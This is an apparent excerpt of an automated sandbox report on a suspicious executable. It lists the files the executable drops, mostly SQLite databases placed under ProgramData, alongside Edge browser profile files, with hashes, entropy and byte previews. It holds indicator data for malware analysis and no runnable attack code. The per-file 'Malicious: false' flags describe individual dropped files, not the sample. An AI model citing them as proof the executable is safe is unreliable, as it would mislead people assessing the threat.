SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDAECGDAFBA\DAKEHIJJK

Download File

Process:	C:\Users\user\Desktop\mtbkkesfthae.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDAECGDAFBA\DHJJEG

Download File

Process:	C:\Users\user\Desktop\mtbkkesfthae.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2652177224696297
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMgSAELyKOMq+8HKkjucswRv8p3nVumr:K0q+n0Jg9ELyKOMq+8HKkjuczRv89P
MD5:	1C09C99761AD5E8D5847B6ED8128AE6A
SHA1:	647812EFDBA34CAC115C2092D87C5FFF377BAFEC
SHA-256:	7E4297D20BE4D0ADD99A1415F079CD00CBE37CC9F02F12AD544EC63590800445
SHA-512:	D2C54A76157C10CA1EB68F5969B5F3641A01A77B833CB32813B8151E928461A7C19C09550CBA2A3BE7FC5C25ED6C2643C700711AA70BDD4E56F577A041BFF09E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDAECGDAFBA\FHJDBK

Download File

Process:	C:\Users\user\Desktop\mtbkkesfthae.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDAECGDAFBA\GCGCBAECF

Download File

Process:	C:\Users\user\Desktop\mtbkkesfthae.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDAECGDAFBA\GDBAKE

Download File

Process:	C:\Users\user\Desktop\mtbkkesfthae.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDAECGDAFBA\IDAEBG

Download File

Process:	C:\Users\user\Desktop\mtbkkesfthae.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDAECGDAFBA\JKEGHD

Download File

Process:	C:\Users\user\Desktop\mtbkkesfthae.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08441928760034874
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vI:51zkVmvQhyn+Zoz67V
MD5:	2ABDC5DBC05C0C5CE5E1EB6D6E8C1B0D
SHA1:	14DFBE9B28D033542357D98005239D842A16FCFD
SHA-256:	91F1008439BD28B09EC1FC851F2679DFBAA45B27409882AD899CEF8460A036AF
SHA-512:	DD4BD1407DFDC90BC97F5940A120CCDE7D4A6DAA3E0DB1649BED96EBE52FFDF879E52E028657F954FF39A93EEE8F57694A7EAC55D85CA57AF2BBD7A7793B9030
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\251f1341-616e-468b-a933-559950d1047d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59125
Entropy (8bit):	6.100198689081379
Encrypted:	false
SSDEEP:	1536:NMk1rT8HTaYvhJPGWv/sxtwJ5QObFJFoG7VLyMV/YosU:NMYrT8zVvnv/4K3Q+vjVeZosU
MD5:	351C0D0CCFDBA5F76747EABDE91D8258
SHA1:	E61A8458E55F33332EAAE8F8EF652EB4D32509F4
SHA-256:	4820518DB5BA878057F0D72F38F467A110B4FDAB4B3EC4ED7D904E85660BA436
SHA-512:	6A2EC784193DDA7022D8C24205788C50BD7D94139D08852159489D16AC62CD8D65A2DE26FE4FB65F608DF6846005E5903B5742A72447916734C429DB481AA151
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"3a0518a5-7c9e-49cd-8fbe-da1c505bb7b7"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7b319724-c6a9-4402-885e-2242a55a6e44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	57651
Entropy (8bit):	6.1038017922479995
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn6vhFPGWv/sxtwhj7VLyMV/YoskFoz:z/0+zI7yn6vjv/4KBVeZoskG
MD5:	84CFE8D64719265BA7E927CEC5DB0523
SHA1:	86D85BCE3F6107DF22CE4FD7A4AF7BFBCCC5F83F
SHA-256:	CA0B9385BFBFFD61DF59D90F0386AEC627C2993428BFF1E05F106967E6B0494E
SHA-512:	C1C7FD4B4B16AFAFC2481BDD9CF2AFF0A9997A2E85853AC5D7A82A935496790507A4502C13DECCE50401336E2B469BC1B8062536B28CBD5A8AD3207FBE5706AE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7ea96471-aecb-4388-91ef-b2ecc4bc060a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	59125
Entropy (8bit):	6.100199238207531
Encrypted:	false
SSDEEP:	1536:NMk1rT8HTnYvhJPGWv/sxtwJ5QObFJFoG7VLyMV/YosU:NMYrT8zYvnv/4K3Q+vjVeZosU
MD5:	FE2A18415960C3DF99074E0901185F74
SHA1:	8B5A691A2BE12BAD0FC56490FB5D3600F29F0E83
SHA-256:	8A2E402A8BC3477721E099278F5EA3FE4B0E2EA82BE8E63B6EC6A0B184567B58
SHA-512:	1750ADBFFD801AD9A5802D5232DCAAD3203F1B248E8DD92DFF4FD3C46FFE8D14D7F5DF98CCBAAD5DC6FAC9CB9EA76BB3950DF56B9EF2B8BFF0B3DA7062DFDF24
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"3a0518a5-7c9e-49cd-8fbe-da1c505bb7b7"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8081479d-4d49-43ec-9dd3-9f0feecb6363.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59048
Entropy (8bit):	6.100087259966675
Encrypted:	false
SSDEEP:	1536:NMk1rT8H1aYvhAPGWv/sxtwJ5QObFJFoG7VLyMV/YosU:NMYrT8VVvWv/4K3Q+vjVeZosU
MD5:	792ABA082A57416F7104B90BD4AB7D86
SHA1:	21A74252EB4980E0790C48B86A1B4160B8E47895
SHA-256:	1D6E45702CFF8A4E20A9A8A6E7927A43488F3894BF816DD7F3214FCB199BD961
SHA-512:	2147FE3044E9F6CADB49A53EAB427ABE61C6D7319388B14B9627F997620A3F089E322C864D7421F488E7183464E94E643644BF12513DC04679D5251A2AF0772E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"3a0518a5-7c9e-49cd-8fbe-da1c505bb7b7"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\98dfcf54-7c58-49e3-990c-c8252fb2bb36.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57728
Entropy (8bit):	6.103956672092931
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yOJvhAPGWv/sxtwJj7VLyMV/YoskFoz:z/0+zI7yOJvWv/4KJVeZoskG
MD5:	FA4F4FE49C2C83D72AA16ECC5AA90746
SHA1:	D647E1658F5E35C27F47B141EC193856DD4BC1AE
SHA-256:	D4916FD18CDD654B0979EFA58A9C764DE72C8207937F4623415ACCA751FF988B
SHA-512:	40D7C9A39EBCF3B3BC7D22CC3F19BC2F30ABF603D451A218165C4918AC568DF5DEE2CB5CB1D8EB956C11D68E7E9BEB66B5382D73A14E5F900BC5B52F2CD0D96A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\e558f062-fa61-4e23-be62-e9a5ab3f3095.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674D1671-1FC0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04727217088017622
Encrypted:	false
SSDEEP:	192:XFn0m5tmwnOAU5YUJPi6VBKP7+HfgHXRhI5MkYTwgh81MNH+zRQcD/OoeJn8y08s:Vn0UtLeN4xJhHgVfFeJ08T2RGOD
MD5:	39BC445720DACADBA3AE00594DA24569
SHA1:	0F4F0251D118283CEE50A39D53A8884DEED97266
SHA-256:	679F89B7A4568E6A9D2995CF736668A385178D0142C5C166AD88649A60C25FF3
SHA-512:	3BFDC25B2CAD2BB7154015D11333CBA8E56D6B2E2DED675E4C3443A15A41458820FBE6E91A22D55F53F7A98A6D50CA300B0008C82F42D9806B0F23375679DB4A
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".nidvnw20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.......y.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674D1671-2E8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.44727452856368033
Encrypted:	false
SSDEEP:	3072:96UQ9fcJ30WJ/ADRNr9aUf00QCJtQbpGv5dzFVS6qT/Ag1HFrRi:BQ9KQRNroUf0QUI5dBVS6qT/AaHa
MD5:	57C358A0CFEAFE70C9744B76DECFD93E
SHA1:	E8E348CD3F68F5FBAF63AC803D2D4936E6252428
SHA-256:	9B2A33DD9C78EFB50206E8952408C812BB456C894B90303EDAE01C40A440A8B7
SHA-512:	F6132A1D6871D91FDF829D0744B59D67FD4D66C1789E438358470055B5D526AC3AB7BC33DC3AC887606FF1A513B0853A371D7A934C126132ABC12AA9111AB7E3
Malicious:	false
